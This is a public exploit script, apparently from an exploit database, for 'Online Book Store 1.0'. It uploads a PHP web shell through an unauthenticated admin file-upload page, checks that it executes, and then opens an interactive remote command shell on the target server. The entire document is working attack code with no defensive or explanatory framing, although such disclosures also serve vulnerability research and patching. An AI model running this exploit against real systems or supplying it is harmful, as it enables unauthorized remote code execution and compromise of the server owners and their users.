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# Exploit Title: Online Book Store 1.0 - Unauthenticated Remote Code Execution  
# Google Dork: N/A  
# Date: 2020-01-07  
# Exploit Author: Tib3rius  
# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/  
# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip  
# Version: 1.0  
# Tested on: Ubuntu 16.04  
# CVE: N/A  
  
import argparse  
import random  
import requests  
import string  
import sys  
  
parser = argparse.ArgumentParser()  
parser.add_argument('url', action='store', help='The URL of the target.')  
args = parser.parse_args()  
  
url = args.url.rstrip('/')  
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))  
  
payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'  
  
file = {'image': (random_file + '.php', payload, 'text/php')}  
print('> Attempting to upload PHP web shell...')  
r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)  
print('> Verifying shell upload...')  
r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)  
  
if random_file in r.text:  
print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')  
print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami')  
launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))  
if launch_shell.lower() == 'y':  
while True:  
cmd = str(input('RCE $ '))  
if cmd == 'exit':  
sys.exit(0)  
r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False)  
print(r.text)  
else:  
if r.status_code == 200:  
print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')  
else:  
print('> Web shell failed to upload! The web server may not have write permissions.')